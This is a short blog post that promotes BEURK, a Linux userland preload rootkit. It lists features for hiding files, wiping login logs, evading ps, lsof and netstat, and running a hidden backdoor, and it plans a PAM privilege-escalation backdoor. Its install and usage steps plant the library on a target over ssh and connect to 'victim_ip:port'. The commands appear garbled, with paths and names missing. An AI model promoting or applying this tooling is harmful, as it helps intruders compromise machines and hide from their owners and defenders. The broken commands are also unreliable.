Sunday, 15 November 2015

Beurk - Experimental Unix Rootkit

BEURK  is an userland preload rootkit  for GNU/Linux, heavily focused around anti-debugging and anti-detection.
NOTE: BEURK is a recursive acronym for B EURK E xperimental U nix R oot K it


  • Hide attacker files and directories 
  • Realtime log cleanup (on utmp/wtmp  ) 
  • Anti process and login detection 
  • Bypass unhide, lsof, ps, ldd, netstat analysis 
  • Furtive PTY backdoor client 

Upcoming features   

  • ptrace(2)  hooking for anti-debugging 
  • libpcap  hooking undermines local sniffers 
  • PAM backdoor for local privilege escalation  


  • Compile  

    git clone
    cd beurk

  • Install  

    ssh 'echo /lib/ >> /etc/'

  • Enjoy !  

    ./ victim_ip:port # connect with furtive backdoor


The following packages are not required in order to build BEURK at the moment: 

  • libpcap  - to avoid local sniffing 
  • libpam  - for local PAM backdoor 
  • libssl  - for encrypted backdoor connection 

Example on debian:  

    apt-get install libpcap-dev libpam-dev libssl-dev

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